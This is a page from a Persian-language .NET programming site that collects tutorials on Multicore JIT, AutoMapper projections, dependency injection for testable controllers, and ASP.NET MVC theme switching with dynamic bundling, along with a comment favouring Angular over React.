مسیرراه‌ها
ASP.NET MVC
              نظرات اشتراک‌ها
              چرا از آنگولار به ری اکت + ری داکس سوئیچ کردم!
              - فسلفه React مبتنی بر مخلوط کردن جاوا اسکریپت و HTML با هم هست در فایل‌های JSX (نوشتن HTML با کدهای جاوا اسکریپت). به این صورت شما مزیت‌های ذاتی HTML و CSS را یکجا از دست می‌دید؛ چون دیگه نمی‌تونید HTML جدا یا CSS جدای از جاوا اسکریپت را داشته باشین. در حالیکه در Angular این دو یا این سه (TypeScript، HTML و CSS) از هم جدا هستند که مزیت آن دسترسی به انواع ادیتورهایی هست که بدون اینکه برای Angular نوشته شده باشند، در همان بدو معرفی آن، با آن سازگار هستند که سادگی توسعه را به همراه داره. شاید تولید کامپوننت‌های ساده React تولید شده با کدهای جاوا اسکریپتی ساده باشه، اما کمی که حجم آن بیشتر شد، کنترل و مدیریت این مخلوط، سخت‌تر و سخت‌تر میشه و به علاوه مخلوط کردن کدهای یک فریم ورک با HTML و CSS خیلی شبیه به PHP کلاسیک و یا ASP کلاسیک هست و این روزها کسی را پیدا نمی‌کنید که برای پروژه‌های واقعی حتی از PHP در حالت کلاسیک آن بدون یک فریم ورک جانبی استفاده کنه. در Angular از همان بدو امر مباحث طراحی ماژول‌ها، کامپوننت‌ها و جدا سازی کدها به صورت ذاتی طراحی شده‌اند.
              - مزیت کار کردن با TypeScript در مقایسه با ES6 خالص در React، امکان دسترسی به کامپایل آفلاین هست و مباحث پیشرفته‌ی کامپایلر مانند tree-shaking (حذف کدهای مرده) و AOT (a head of time compilation) که سبب می‌شن هم حجم نهایی کمتری تولید شود و هم پیش از اجرای برنامه در مرورگر و سپس یافتن باگ‌های احتمالی در زمان اجرا، پیش از موعد و توسط کامپایلر این باگ‌ها گزارش شوند. اگر قصد داشته باشید به یک چنین کیفیت و بررسی کدی در React برسید، باید تعداد آزمون‌های واحد قابل توجهی را داشته باشین تا بتونید یافتن مشکلاتی را که کامپایلر TypeScript گوشزد می‌کند، شبیه سازی کنید. همچنین شما در TypeScript می‌تونید به تمام امکانات پیشرفته‌ی زبان جاوا اسکریپت (حتی پس از ES6) دسترسی داشته باشید، اما کد نهایی جاوا اسکریپتی تولید شده‌ی توسط آن‌را برای ES5 که تمام مرورگرها از آن پشتیبانی می‌کنند، تولید کنید که این هم خودش یک مزیت مهم هست. بنابراین TypeScript فقط یک static type checker ساده نیست.
              - اینکه Angular یک فریم‌ورک هست به خودی خودش یک مزیت مهم هست نسبت به React که یک کتابخانه است و اجزای آن باید از منابع مختلفی تهیه شوند. فریم ورک یعنی به روز رسانی‌های منظم تمام اجزای آن توسط خود تیم Angular و سازگاری کامل و یک‌دست هر جزء با نگارش فعلی یا همان آخرین نگارش موجود. اگر با دنیای وابستگی‌های ثالث در یک پروژه‌ی واقعی کار کرده باشید به خوبی می‌دونید که هر چقدر تعداد آن‌ها کمتر باشند، نگهداری طولانی مدت آن پروژه آسان‌تر می‌شود؛ چون روزی ممکن است آن کتابخانه‌ی ثالث دیگر توسعه پیدا نکند، یا منسوخ شود یا دیرتر از آخرین نگارش ارائه شده به روز رسانی شود. مزیت داشتن یک فریم ورک یک‌دست، درگیر نشدن با این مسایل است؛ خصوصا اینکه عموما کتابخانه‌های ثالث کیفیتشون در حد کتابخانه‌ی اصلی نیست و اینکه مثلا خود تیم Angular ماژول روتر، اعتبارسنجی یا فرم‌های اون رو توسعه می‌ده، قطعا کیفیتشون از کتابخانه‌های ثالث دیگه بهتر هست.
              - در مورد سرعت و کارآیی و حتی مصرف حافظه، مطابق  یک benchmarck خیلی معتبر، وضعیت Angular اندکی بهتر از React است؛ هرچند در کل از این لحاظ به هم نزدیک هستند.
              - این مباحث انحصاری شدن و این‌ها هم در مورد محصولات سورس باز، زیاد مفهومی ندارند و بیشتر یکسری شعار ایدئولوژیک هست توسط کسانیکه حتی تغییر رفتار این شرکت‌ها را هم دنبال نمی‌کنند و منابع و ماخذی رو که مطالعه کردن مربوط به یک دهه قبل هست. 
              مطالب
              فعال سازی Multicore JIT
              Multicore JIT یکی از قابلیت‌های کلیدی در دات نت 4.5 می‌باشد که در واقع راه حلی برای بهبود سرعت اجرای برنامه‌های دات نتی است. قبل از معرفی این قابلیت ابتدا اجازه دهید نحوه کامپایل یک برنامه دات نتی را بررسی کنیم.
              انواع compilation
              در حالت کلی دو نوع فرآیند کامپایل داریم:
              • Explicit
              در این حالت دستورات قبل از اجرای برنامه به زبان ماشین تبدیل می‌شوند. به این نوع کامپایلرها AOT یا Ahead Of Time گفته می‌شود. این نوع از کامپایلرها برای اطمینان از اینکه CPU بتواند قبل از انجام تعاملی تمام خطوط کد را تشخیص دهد، طراحی شده اند.
              • Implicit
              این نوع compilation به صورت دو مرحله ایی صورت می‌گیرد. در اولین قدم سورس کد توسط یک کامپایلر به یک زبان سطح میانی(IL) تبدیل می‌شود. در مرحله بعدی کد IL به دستورات زبان ماشین تبدیل می‌شوند. در دات نت فریم ورک به این کامپایلر JIT یا Just-In-Time گفته می‌شود.
              در حالت دوم قابلیت جابجایی برنامه به آسانی امکان پذیر است، زیرا اولین قدم از فرآیند به اصطلاح platform agnostic می‌باشد، یعنی قابلیت اجرا بر روی گستره وسیعی از پلت فرم‌ها را دارد.

              کامپایلر JIT
              JIT بخشی از Common Language Runtime یا CLR می‌باشد. CLR در واقع وظیفه مدیریت اجرای تمام برنامه‌های دات نتی را برعهده دارد.

              همانطور که در تصویر فوق مشاهده می‌کنید، سورس کد توسط کامپایلر دات نت به exe و یا dll کامپایل می‌شود. کامپایلر JIT تنها متدهایی را که در زمان اجرا(runtime) فراخوانی می‌شوند را کامپایل می‌کند. در دات نت فریم ورک سه نوع JIT Compilation داریم:

              Normal JIT Compilation   

              در این نوع کامپایل، متدها در زمان فراخوانی در زمان اجرا کامپایل می‌شوند. بعد از اجرا، متد داخل حافظه ذخیره می‌شود. به متدهای ذخیره شده در حافظه jitted گفته می‌شود. دیگر نیازی به کامپایل متد jit شده نیست. در فراخوانی بعدی، متد مستقیماً از حافظه کش در دسترس خواهد بود.

              Econo JIT Compilation 

              این نوع کامپایل شبیه به حالت Normal JIT است با این تفاوت که متدها بلافاصله بعد از اجرا از حافظه حذف می‌شوند.

              Pre-JIT Compilation 

              یکی دیگر از حالت‌های کامپایل برنامه‌های دات نتی Pre-JIT Compilation می باشد. در این حالت به جای متدهای مورد استفاده، کل اسمبلی کامپایل می‌شود. در دات نت می‌توان اینکار را توسط Ngen.exe یا (Native Image Generator) انجام داد. تمام دستورالعمل‌های CIL قبل از اجرا به کد محلی(Native Code) کامپایل می‌شوند. در این حالت runtime می‌تواند از native images به جای کامپایلر JIT استفاده کند. این نوع کامپایل عملیات تولید کد را در زمان اجرای برنامه به زمان Installation منتقل می‌کند، در اینصورت برنامه نیاز به یک Installer برای اینکار دارد.

              Multicore JIT

              در دات نت فریم ورک 4.5 یک راه حل جایگزین دیگر برای بهینه سازی و بهبود سرعت اجرای برنامه‌های دات نت وجود دارد. همانطور که عنوان شد Ngen.exe برای در دسترس بودن نیاز به Installer برای برنامه دارد. توسط Multicore JIT متدها بر روی دو هسته به صورت موازی کامپایل می‌شوند، در اینصورت می‌توانید تا 50 درصد از JIT Time صرفه جویی کنید.

              Multicore JIT همچنین می‌تواند باعث بهبود سرعت در برنامه‌های WPF شود. در نمودار زیر می‌توانید حالت‌های استفاده و عدم استفاده از Multicore JIT را در سه برنامه WPF نوشته شده مشاهده کنید.

              Multicore JIT در عمل

              Multicore JIT از دو مد عملیاتی استفاده می‌کند: مد ثبت(Recording mode)، مد بازپخش(Playback mode)

              در حالت ثبت کامپایلر JIT هر متدی که نیاز به کامپایل داشته باشد را رکورد می‌کند. بعد از اینکه CLR تعیین کند که اجرای برنامه به اتمام رسیده است، تمام متدهایی که اجرا شده اند را به صورت یک پروفایل بر روی دیسک ذخیره می‌کند.

              هنگامیکه Multicore JIT فعال می‌شود، با اولین اجرای برنامه، حالت ثبت مورد استفاده قرار می‌گیرد. در اجراهای بعدی، از حالت بازپخش استفاده می‌شود. حالت بازپخش پروفایل را از طریق دیسک بارگیری کرده، و قبل از اینکه این اطلاعات توسط ترد اصلی مورد استفاده قرار گیرد، از آنها برای تفسیر (کامپایل) متدها در پیش‌زمینه استفاده می‌کند. 

              در نتیجه، ترد اصلی به کامپایل دیگری نیاز ندارد، در این حالت سرعت اجرای برنامه بیشتر می‌شود. حالت‌های ثبت و بازپخش تنها برای کامپیوترهایی با چندین هسته فعال می‌باشند.

              استفاده از Multicore JIT

              در برنامه‌های 4.5 ASP.NET و 5 Silverlight به صورت پیش فرض این ویژگی فعال می‌باشد. ازآنجائیکه این برنامه‌ها hosted application هستند؛ در نتیجه فضای مناسبی برای ذخیره سازی پروفایل در این نوع برنامه‌ها موجود می‌باشد. اما برای برنامه‌های Desktop این ویژگی باید فعال شود. برای اینکار کافی است دو خط زیر را به نقطه شروع برنامه تان اضافه کنید:

              public App() 
              {
                  ProfileOptimization.SetProfileRoot(@"C:\MyAppFolder");
                  ProfileOptimization.StartProfile("Startup.Profile");
              }

              توسط متد SetProfileRoot می‌توانیم مسیر ذخیره سازی پروفایل JIT را مشخص کنیم. در خط بعدی نیز توسط متد StartProfile نام پروفایل را برای فعال سازی Multicore JIT تعیین می‌کنیم. در این حالت در اولین اجرای برنامه پروفایلی وجود ندارد، Multicore JIT در حالت ثبت عمل می‌کند و پروفایل را در مسیر تعیین شده ایجاد می‌کند. در دومین بار اجرای برنامه CRL پروفایل را از اجرای قبلی برنامه بارگذاری می‌کند؛ در این حالت Multicore JIT به صورت بازپخش عمل می‌کند.

              همانطور که عنوان شد در برنامه‌های ASP.NET 4.5 و Silverlight 5 قابلیت Multicore JIT به صورت پیش فرض فعال می‌باشد. برای غیر فعال سازی آن می‌توانید با تغییر فلگ profileGuidedOptimizations به None اینکار را انجام دهید:

              <?xml version="1.0" encoding="utf-8" ?> 
              <configuration>
               <!-- ... -->
               <system.web> 
               <compilation profileGuidedOptimizations="None" /> 
               <!-- ... --> 
               </system.web> 
              </configuration>
              مطالب
              وی‍‍ژگی های پیشرفته ی AutoMapper - قسمت اول
              در پست قبلی مقدمه‌ای داشتیم بر AutoMapper؛ مثالی که در اون پست عنوان شد ساده‌ترین و پرکاربردترین روش استفاده از AutoMapper هست بنام Flattening که در واقع از یک شیء کل به یک شیء کوچکتر می‌رسیم.
              همانطور که در قسمت اول گفتم AutoMapper کارش رو بر اساس قراردادها انجام میده یا همون Convention Base. یکی از قردادهای AutoMapper، نگاشت براساس نام اعضای اون شی هست؛ مثلا در مثال قبلی FirstName در مبداء، به خاصیتی با همین نام نگاشت شد و ...

              Projection
              روش استفاده بعدی که به اون Projection (معنی فارسی خوب برا Projection چیه ؟) میگن برای مواقعی هست که اعضای یک شیء در مبداء، همتایی در مقصد ندارد (از نظر نام) و در واقع می‌خواهیم یک شیء رو به یک شیء دیگه تغییر شکل بدیم.
              مدل زیر رو در نظر بگیرید:
                public class Person
                  {
                      public int Id { get; set; }
              
                      public string FirstName { get; set; }       
              
                      public string LastName { get; set; }
              
                  }

                که قرار است به مدل PersonDTO نگاشت بشه.
                public class PersonDTO
                  {
                      public int Id { get; set; }
              
                      public string Name { get; set; }
              
                      public string Family { get; set; }
              
              public string FullName { get; set; }
              
                      public string Email { get; set; }
                  }
              همنطور که می‌بینید در مقصد خاصیت‌هایی داریم که در مبداء همتایی ندارند. برای نگاشت چنین اشیایی، از متد ForMember  استفاده و نگاشت‌های شی‌های موردنظر رو Custom می‌کنیم.
               Mapper.CreateMap<Person, PersonDTO>().ForMember(des => des.Name, op => op.MapFrom(src => src.FirstName)).
                              ForMember(des => des.FullName, op => op.MapFrom(src => src.FirstName + " " + src.LastName)).ForMember(
                                  des => des.Email, op => op.Ignore());
              متد ForMember  از یک Action Delegate  برای کانفیگ کردن هر عضو استفاده میکنه. در مثال بالا ما از MapFrom برای اعمال نگاشت Custom  استفاده کردیم.
              AutoMapper.IMappingExpression<TSource,TDestination>.ForMember(System.Linq.Expressions.Expression<System.Func<TDestination,object>>, System.Action<AutoMapper.IMemberConfigurationExpression<TSource>>)

              نکته:برای تست کردن اینکه آیا نگاشت ما Exception  داره یا نه میتوان از متد زیر استفاده کرد.
              Mapper.AssertConfigurationIsValid();

              نکته
              : همیشه موقع نگاشت، اعضای شیء مقصد برای AutoMapper  مهمن؛ مثلا در مثال بالا خاصیت LastName در مبداء به هیچ عضوی در مقصد نگاشت نشده (به صورت مستقیم) و این تولید Exception  نمیکنه ولی برعکس اون باعث تولید Exception میشه؛ مثلا اگه خاصیت Email  رو که در مبداء همتایی نداره رو کانفیگ نکنیم، باعث تولید Exception میشه.
               
              نحوه استفاده
              var person = new Person
                              {
                                  Id = 1,
                                  FirstName = "Mohammad",
                                  LastName = "Saheb",
                                  
                              };
              var personDTO = Mapper.Map<Person, PersonDTO>(person);
              خروجی به شکل زیر میشه


              Collection
              بعد از نوشتن کانفیگ نگاشت‌ها، بدون نیاز به تنظیمات خاصی میتونیم مجموعه ای از شی‌های مبداء رو به مقصد نگاشت کنیم. مجموعه‌های پشتیبانی شده به شرح زیرن.
              IEnumerable, IEnumerable<T>, ICollection, ICollection<T>, IList, IList<T>, List<T>.
              و البته آرایه ها.
              مثال
              var persons = new[]
                              {
                                  new Person { Id = 1, FirstName = "Mohammad", LastName = "Saheb" },
                                  new Person { Id = 2, FirstName = "Babak", LastName = "Saheb" }
                              };
              
              var personDTOs = Mapper.Map<Person[], List<PersonDTO>>(persons);
              خروجی به شکل زیر میشه

              Nested Mappings
              برای نگاشت کلاس‌های تو در تو از این روش استفاده می‌کنیم و ...
              فرض کنید در کلاس Person خاصیتی از نوع Address داریم و در کلاس PersonDTO  خاصیتی از نوع AddressDTO.
              public class Address
                  {
                      public string Ad1 { get; set; }
                      public string Ad2 { get; set; }
                  }
              
              
              public class AddressDTO
                  {
                      public string Ad1 { get; set; }
                      public string Ad2 { get; set; }
                  }
              برای نگاشت‌هایی از این دست باید تنظیمات نگاشت مربوط به نوع‌های تودرتو را صریحا معین کنیم.
              Mapper.CreateMap<Address, AddressDTO>();
              نکته: هرچند منطقی‌تر بنظر میرسه که تعریف نگاشت‌های داخلی ابتدا بیاد، ولی فرقی نمیکنه که تعریف این نگاشت قبل یا بعد از نگاشت اصلی باشه.
              ادامه دارد...
              مطالب
              چگونه کد قابل تست بنویسیم - قسمت اول
              مقدمه 
              نوشتن تست برای کدها بسیار عالی است، در صورتیکه بدانید چگونه این کار را بدرستی انجام دهید. متأسفانه بسیاری از منابع آموزشی موجود، این مطلب که چگونه کد قابل تست بنویسیم را رها می‌کنند؛ بدلیل اینکه آنها مراقبند در بین لایه هایی که در کدهای واقعی وجود دارند گیر نکنند، جایی که شما لایه‌های خدمات (Service Layer)، لایه‌های داده، و غیره را دارید. به ضرورت، وقتی میخواهید کدی را تست کنید که این وابستگی‌ها را دارد، تست‌ها بسیار کند و برای نوشتن دشوار هستند و اغلب بدلیل وابستگی‌ها شکست میخورند و نتیجه غیر قابل انتظاری خواهند داشت.

              پیش زمینه
              کدی که به خوبی نوشته شده باشد از لایه‌های جداگانه ای تشکیل شده است که هر لایه مسئول یک قسمت متفاوت از وظایف برنامه خواهد بود. لایه‌های واقعی بر اساس نیاز و نظر توسعه دهندگان متفاوت است، ولی یک ساختار رایج به شکل زیر خواهد بود.

              لایه نمایش / رابط کاربری : این قسمت کد منطق نمایش و تعامل رابط کاربری می‌باشد.
              منطق تجاری / لایه خدمات : این قسمت منطق تجاری کد شما میباشد. برای نمونه در کد مربوط به یک کارت خرید، این کارت خرید میداند چگونه جمع کارت را محاسبه نماید و یا چگونه اقلام موجود در سفارش را شمارش کند.
              لایه دستیابی به داده / لایه ماندگاری :  این کد میداند چگونه به منبع داده متصل شود و یک کارت خرید را بازگرداند و یا چگونه یک کارت را در منبع داده ذخیره نماید.
              منبع داده : اینجا جایی است که محتویات کارت در آن ذخیره میشود.

              مزیت مدیریت وابستگی‌ها 

              بدون مدیریت وابستگی‌ها، وقتی شما برای لایه نمایش تست می‌نویسید، کد شما در خدمات واقعی که به کد واقعی دستیابی به منبع داده وابسته است، گرفتار می‌شود و سپس به منبع داده اصلی متصل می‌شود. در واقع، وقتی شما در حال تست نویسی برای گزینه "اضافه به کارت" و یا "دریافت تعداد اقلام" هستید، می‌خواهید کد را به صورت مجزا تست کنید و قادر باشید نتایج قابل پیش بینی را تضمین نمایید. بدون مدیریت وابستگی‌ها، تست‌های نمایش شما برای گزینه "اضافه به کارت" کند هستند و وابستگی‌ها نتایج غیر قابل پیش بینی بازمیگردانند که میتوانند باعث پاس نشدن تست شما شوند.

              راه حل تزریق وابستگی است
              راه حل این مسأله تزریق وابستگی است. تزریق وابستگی برای کسانی که تا بحال از آن استفاده نکرده اند، اغلب گیج کننده و پیچیده به نظر میرسد، اما در واقع، مفهومی بسیار ساده و فرآیندی با چند اصل ساده است. آنچه میخواهیم انجام دهیم مرکزیت دادن به وابستگی هاست. در این مورد، استفاده از شیء کارت خرید است و سپس رابطه بین کدها را کم می‌کنیم تا جاییکه وقتی شما برنامه را اجرا می‌کنید، از خدمات و منابع واقعی استفاده کند و وقتی آنرا تست می‌کنید، می‌توانید از خدمات جعلی (mocking) استفاده نمایید که سریع و قابل پیش بینی هستند. توجه داشته باشید که رویکردهای متفاوت بسیاری وجود دارند که میتوانید استفاده کنید، ولی من برای ساده نگهداشتن این مطلب، فقط رویکرد Constructor Injection را شرح میدهم.

              گام 1 -  وابستگی‌ها را شناسایی کنید
              وابستگی‌ها وقتی اتفاق می‌افتند که کد شما از لایه‌های دیگر  استفاده می‌نماید. برای نمونه، وقتی لایه نمایش از لایه خدمات استفاده می‌نماید. کد نمایش شما به لایه خدمات وابسته است، ولی ما میخواهیم کد لایه نمایش را به صورت مجزا تست کنیم.
              public class ShoppingCartController : Controller
              {
                  public ActionResult GetCart()
                  {
                      //shopping cart service as a concrete dependency
                      ShoppingCartService shoppingCartService = new ShoppingCartService();
                      ShoppingCart cart = shoppingCartService.GetContents();
                      return View("Cart", cart);
                  }
                  public ActionResult AddItemToCart(int itemId, int quantity)
                  {
                      //shopping cart service as a concrete dependency
                      ShoppingCartService shoppingCartService = new ShoppingCartService();
                      ShoppingCart cart = shoppingCartService.AddItemToCart(itemId, quantity);
                      return View("Cart", cart);
                  }
              }

               
              گام 2 – وابستگی‌ها را مرکزیت دهید
              این کار با چندین روش قابل انجام است؛ در این مثال من میخواهم یک متغیر عضو از نوع ShoppingCartService ایجاد کنم و سپس آنرا به وهله ای که در Constructor ایجاد خواهم کرد، منتسب کنم. حال هرجا ShoppingCartService نیاز باشد بجای آنکه یک وهله جدید ایجاد کنم، از این وهله استفاده می‌نمایم. 
              public class ShoppingCartController : Controller
              {
                  private ShoppingCartService _shoppingCartService;
                  public ShoppingCartController()
                  {
                      _shoppingCartService = new ShoppingCartService();
                  }
                  public ActionResult GetCart()
                  {
                      //now using the shared instance of the shoppingCartService dependency
                      ShoppingCart cart = _shoppingCartService.GetContents();
                      return View("Cart", cart);
                  }
                  public ActionResult AddItemToCart(int itemId, int quantity)
                  {
                      //now using the shared instance of the shoppingCartService dependency
                      ShoppingCart cart = _shoppingCartService.AddItemToCart(itemId, quantity);
                      return View("Cart", cart);
                  }
              }

               در قسمت بعد درباره مواردی مانند از بین بردن ارتباط لایه ها، تزریق وابستگی و نوشتن تست بحث خواهم کرد.
              مطالب
              ایجاد قابلیت قالب یا Theme در ASP.NET MVC
              در این مقاله قصد داریم قابلیت ایجاد قالب را در پروژه‌های ASP.NET MVC، فراهم کنیم تا ظاهر سایت یا به اصطلاح  قالب سایت از طریق فایل کانفیگ تغییر کند. همانطور که می‌دانید معماری ASP.NET MVC براساس قراردادهای پیش فرض، قابل تعویض و تغییر طراحی شده است. یکی از این قراردادها، نحوه‌ی پیدا کردن یک view برای کنترلر و اکشن‌های آن است که به صورت زیر در ViewEngine تعریف شده‌است: 
              ViewEngine.ViewLocationFormats= "~/Views/{controller}/{action}.cshtml"
              در ادامه قصد داریم این مسیر یابی پیش فرض را طوری تغییر دهیم تا در پوشه‌ی themes پروژه و زیرپوشه‌ای با نام قالب که از فایل کانفیگ خوانده می‌شود نیز به دنبال view مرتبط با کنترلر و اکشن بگردد: 
              "~/Themes/{ThemeName}/Views/{controller}/{action}.cshtml"
               برای راحتی کار، یک Extension Method برای اینترفیس پایه viewEngin  تعریف می‌کنیم: 
                 public static void Themeable(this VirtualPathProviderViewEngine engine)
                      {
                          var ThemePath = "~/Themes";
                          var ThemeName = WebConfigurationManager.AppSettings["MvcTheme"];
                          if (string.IsNullOrEmpty(ThemeName))
                              return;
              
                          var themeFolder = HttpContext.Current.Server.MapPath(string.Format("{0}/{1}/", ThemePath, ThemeName));
                          if (!Directory.Exists(themeFolder))
                              throw new DirectoryNotFoundException(string.Format("Theme folder not exists: {0}/{1}}", ThemePath,
                                  ThemeName));
              
                          var newViewLocations = new[]
                          {
                              string.Format("{0}/{1}/Views/{2}/{3}.cshtml", ThemePath, ThemeName, "{1}", "{0}"),
                              string.Format("{0}/{1}/Views/Shared/{2}.cshtml", ThemePath, ThemeName, "{0}"),
                               
                              // vb.net :
                              // string.Format("{0}/{1}/Views/{2}/{3}.vbhtml", ThemePath, ThemeName, "{1}", "{0}"),
                              // string.Format("{0}/{1}/Views/Shared/{2}.vbhtml", ThemePath, ThemeName, "{0}"),
                          };
                          engine.ViewLocationFormats = newViewLocations;
                          engine.PartialViewLocationFormats = newViewLocations;
                      }
              سپس در فایل کانفیگ، نام قالب را وارد کنید: 
                <appSettings>
               ...
                  <add key="MvcTheme" value="Test1" />
                </appSettings>
              و در فایل Global.asax، قابلیت فراخوانی قالب را فعال کنید:
              ViewEngines.Engines.OfType<RazorViewEngine>().Single().Themeable();
              حالا کافی است محتویات views اصلی را به پوشه‌ی views  قالب مورد نظر کپی کرده و فایل _ViewStart.cshtml را اصلاح کنید، بطوریکه که به فایل layout  داخل پوشه قالب اشاره کند: 
              @{
                  // Layout = "~/Views/Shared/_Layout.cshtml";
                  Layout = "~/themes/test1/Views/Shared/_Layout.cshtml";
              }
              تا اینجای کار را اگر امتحان کنید، همه چیز درست است؛ مگر اینکه بخواهید از Bundling استفاده کنید. اگر بخواهید از css و اسکریپت‌های اصلی پروژه استفاده کنید، می‌توانید از همان  bundle‌های اصلی، در داخل layout و سایر viewهای قالب استفاده کنید. ولی اینکار نمی‌تواند کاربردی باشد؛ چون ساختار و اجزای هر قالب می‌تواند کاملا مجزا باشد. مثلا در یک قالب از  بوت استرپ استفاده می‌کنیم و در قالبی دیگر از UI Fabric مایکروسافت استفاده می‌کنیم. به همین دلیل، دست به کار می‌شویم و یک Bundling داینامیک را طراحی می‌کنیم:
              ابتدا مدل زیر را تعریف کنید:
                  public class ThemeBundle
                  {
                      public BundleType BundleType { get; set; }
                      public string VirtualPath { get; set; }
                      public string[] Urls { get; set; }
                  }
              
                  public enum BundleType
                  {
                      Style, Script
                  }
              در داخل هر پوشه‌ی قالب، به دنبال فایل ThemeBundle.json می‌گردیم تا تعاریف Bundling را از آن بخوانیم و در داخل پروژه استفاده کنیم.
              توسط کد زیر bundleها را از محل پوشه‌ی قالب، فراخوانی می‌کنیم:
              public static void RegisterThemeBundels(BundleCollection bundles)
                      {
                          var ThemePath = "~/Themes";
                          var ThemeName = WebConfigurationManager.AppSettings["MvcTheme"];
                          var ThemeBundleFileName = "ThemeBundle.json";
              
                      List<ThemeBundle> list;
              
                          try
                          {
                              JavaScriptSerializer jss = new JavaScriptSerializer();
                              var jsonaddress =
                                  System.Web.HttpContext.Current.Server.MapPath(string.Format("{0}/{1}/{2}", ThemePath, ThemeName, ThemeBundleFileName));
                              var json = System.IO.File.ReadAllText(jsonaddress);
                                list = jss.Deserialize<List<ThemeBundle>>(json);
                          }
                          catch (Exception ex)
                          {
                              throw new Exception(string.Format("Cannot read {0}. see more error in inner exception.", ThemeBundleFileName), ex);
                          }
              
                          foreach (var themeBundle in list)
                          {
                              switch (themeBundle.BundleType)
                              {
                                  case BundleType.Script:
                                      bundles.Add(new ScriptBundle(themeBundle.VirtualPath).Include(
                                          themeBundle.Urls));
                                      break;
                                  case BundleType.Style:
                                      bundles.Add(new StyleBundle(themeBundle.VirtualPath).Include(
                                          themeBundle.Urls));
                                      break;
                                  default:
                                      throw new ArgumentOutOfRangeException(nameof(themeBundle.BundleType));
                              }
                          }
                      }
              دستور فراخوانی bundle‌ها در صورتیکه نام قالب در فایل کانفیگ تعریف شده باشد:
                  public class BundleConfig
                  {        
                      public static void RegisterBundles(BundleCollection bundles)
                      {
                          if (MvcTheme.ThemeName != null)
                          {
                              MvcTheme.RegisterThemeBundels(bundles); 
                              return;
                          }
              
                          bundles.Add(new ScriptBundle("~/bundles/jquery").Include(
                                      "~/Scripts/jquery-{version}.js"));
              
                          bundles.Add(new ScriptBundle("~/bundles/jqueryval").Include(
                                      "~/Scripts/jquery.validate*"));
              ...
              }
              }
              فایل ThemeBundle.json قالب test1 را بصورت زیر تعریف می‌کنیم:
              [
                {
                  "BundleType": "Script",
                  "VirtualPath": "~/themes/test1/js/jquery",
                  "Urls": [ "~/themes/test1/js/jquery-1.10.2.js" ]
                },
                {
                  "BundleType": "Script",
                  "VirtualPath": "~/themes/test1/js/jqueryval",
                  "Urls": [ "~/themes/test1/js/jquery.validate.js",
                             "~/themes/test1/js/jquery.validate.unobtrusive.js" ]
                },
                {
                  "BundleType": "Script",
                  "VirtualPath": "~/themes/test1/js/modernizr",
                  "Urls": [ "~/themes/test1/js/modernizr-2.6.2.js" ]
                },
                {
                  "BundleType": "Script",
                  "VirtualPath": "~/themes/test1/js/bootstrap",
                  "Urls": [ "~/themes/test1/js/bootstrap.js",
                            "~/themes/test1/js/respond.js" ]
                },
                {
                  "BundleType": "Style",
                  "VirtualPath": "~/themes/test1/css/css",
                  "Urls": [ "~/themes/test1/css/bootstrap.css",
                            "~/themes/test1/css/site.css" ]
                }
              ]
              در نهایت ساختار پوشه‌ی قالب به صورت زیر می‌باشد:
               Themes
              ├───Test1
              │    │ThemeBundle.json
              │    ├───Css
              │    ├───Fonts
              │    ├───Images
              │    ├───Js
              │    └───Views
              ├───Test2
              │    │ThemeBundle.json
              │    ├───Css
              │    ├───Fonts
              │    ├───Images
              │    ├───Js
              │    └───Views
               کد کامل و نهایی :
                public static class MvcTheme
                  {
               
                      public static string ThemeName { get; }
                      public static string ThemePath { get; set; }
                      private const string AppSettingName = "MvcTheme";
                      private const string ThemeBundleFileName = "ThemeBundle.json";
              
                      static MvcTheme()
                      {
                          ThemePath = "~/Themes";
                          ThemeName = WebConfigurationManager.AppSettings[AppSettingName];
                      }
              
                      public static void Themeable(this VirtualPathProviderViewEngine engine)
                      {
                          if (string.IsNullOrEmpty(ThemeName))
                              return;
              
                          var themeFolder = HttpContext.Current.Server.MapPath(string.Format("{0}/{1}/", ThemePath, ThemeName));
                          if (!Directory.Exists(themeFolder))
                              throw new DirectoryNotFoundException(string.Format("Theme folder not exists: {0}/{1}}", ThemePath,
                                  ThemeName));
              
                          var newViewLocations = new[]
                          { 
                              string.Format("{0}/{1}/Views/{2}/{3}.cshtml", ThemePath, ThemeName, "{1}", "{0}"), 
                              string.Format("{0}/{1}/Views/Shared/{2}.cshtml", ThemePath, ThemeName, "{0}"),
                                            
                              // vb.net :
                              // string.Format("{0}/{1}/Views/{2}/{3}.vbhtml", ThemePath, ThemeName, "{1}", "{0}"),
                              // string.Format("{0}/{1}/Views/Shared/{2}.vbhtml", ThemePath, ThemeName, "{0}"),
              
                          };
                          engine.ViewLocationFormats = newViewLocations;
                          engine.PartialViewLocationFormats = newViewLocations; 
                      }
              
                      public static void RegisterThemeBundels(BundleCollection bundles)
                      {
                          if(ThemeName == null)
                              return;
              
                          var list = ReadThemeBundles();
              
                          foreach (var themeBundle in list)
                          {
                              switch (themeBundle.BundleType)
                              {
                                  case BundleType.Script:
                                      bundles.Add(new ScriptBundle(themeBundle.VirtualPath).Include(
                                          themeBundle.Urls));
                                      break;
                                  case BundleType.Style:
                                      bundles.Add(new StyleBundle(themeBundle.VirtualPath).Include(
                                          themeBundle.Urls));
                                      break;
                                  default:
                                      throw new ArgumentOutOfRangeException(nameof(themeBundle.BundleType));
                              }
                          }
                      }
              
                      public static List<ThemeBundle> ReadThemeBundles()
                      {
                          try
                          {
                              JavaScriptSerializer jss = new JavaScriptSerializer();
                              var jsonaddress =
                                  System.Web.HttpContext.Current.Server.MapPath(string.Format("{0}/{1}/{2}", ThemePath, ThemeName, ThemeBundleFileName));
                              var json = System.IO.File.ReadAllText(jsonaddress);
                              var list = jss.Deserialize<List<ThemeBundle>>(json);
              
                              return list;
                          }
                          catch (Exception ex)
                          {
                              throw new Exception(string.Format("Cannot read {0}. see more error in inner exception.", ThemeBundleFileName), ex);
                          }
                      }
                  }
              
                  public class ThemeBundle
                  {
                      public BundleType BundleType { get; set; }
                      public string VirtualPath { get; set; }
                      public string[] Urls { get; set; }
                  }
              
                  public enum BundleType
                  {
                      Style, Script
                  }
              - نکته یک: با حذف مقدار نام قالب در فایل کانفیگ، به راحتی به حالت پیش فرض asp.net mvc بر میگردید.
              - نکته دو: نام bundle را حتما هم عمق با آدرس قالب تعریف کنید تا وقتی فایل css  به پوشه‌ی images  یا فونت مجاور خود اشاره می‌کند، آدرس دهی معتبر باشد.
              - نکته سه: اگر از RazorGenerator استفاده می‌کنید، در فایل RazorGeneratorMvcStart متد ()Themeable را بر روی engine آن صدا بزنید. 
              مطالب
              بهبود امنیت CSP با استفاده از معرفی هش‌های اسکریپت‌های Inline
